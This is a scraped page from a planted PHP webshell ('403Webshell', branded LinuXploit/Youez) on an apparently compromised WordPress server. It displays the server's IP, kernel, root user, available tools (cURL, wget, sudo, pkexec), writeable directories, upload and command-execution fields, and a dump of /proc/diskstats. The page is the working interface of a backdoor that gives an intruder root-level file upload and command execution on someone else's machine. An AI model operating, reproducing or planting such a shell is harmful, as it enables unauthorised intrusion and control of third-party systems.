403Webshell
Server IP : 167.99.224.18  /  Your IP : 216.73.216.136
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.0.25
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 47240 0 95072 14236 0 0 0 0 0 18240 2704 0 0 0 0
   7       1 loop1 59147 0 119478 23865 0 0 0 0 0 20696 3276 0 0 0 0
   7       2 loop2 51160598 0 102322398 74658668 0 0 0 0 0 6343148 29240996 0 0 0 0
   7       3 loop3 70186 0 140958 28195 0 0 0 0 0 22876 4728 0 0 0 0
   7       4 loop4 101662 0 207392 28116 0 0 0 0 0 14588 9492 0 0 0 0
   7       5 loop5 80333 0 162700 23962 0 0 0 0 0 12288 8168 0 0 0 0
   7       6 loop6 64603556 0 129207698 104405073 0 0 0 0 0 7969956 47645832 0 0 0 0
   7       7 loop7 1530919 0 3063034 2392047 0 0 0 0 0 187580 1036176 0 0 0 0
 252       0 vda 167547379 26910743 19773015677 156514448 24281017 8897774 414925110 44120058 0 87696112 39991092 45174 0 109874054 23939
 252       1 vda1 167523952 26908466 19772956822 156475260 23690288 8897774 414925100 43450211 0 87570104 39907756 45146 0 107055336 23723
 252      14 vda14 185 0 1728 48 0 0 0 0 0 168 12 0 0 0 0
 252      15 vda15 22974 2277 42119 39033 3 0 10 3 0 5272 24476 28 0 2818718 215
   7       8 loop8 8 0 28 0 0 0 0 0 0 28 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit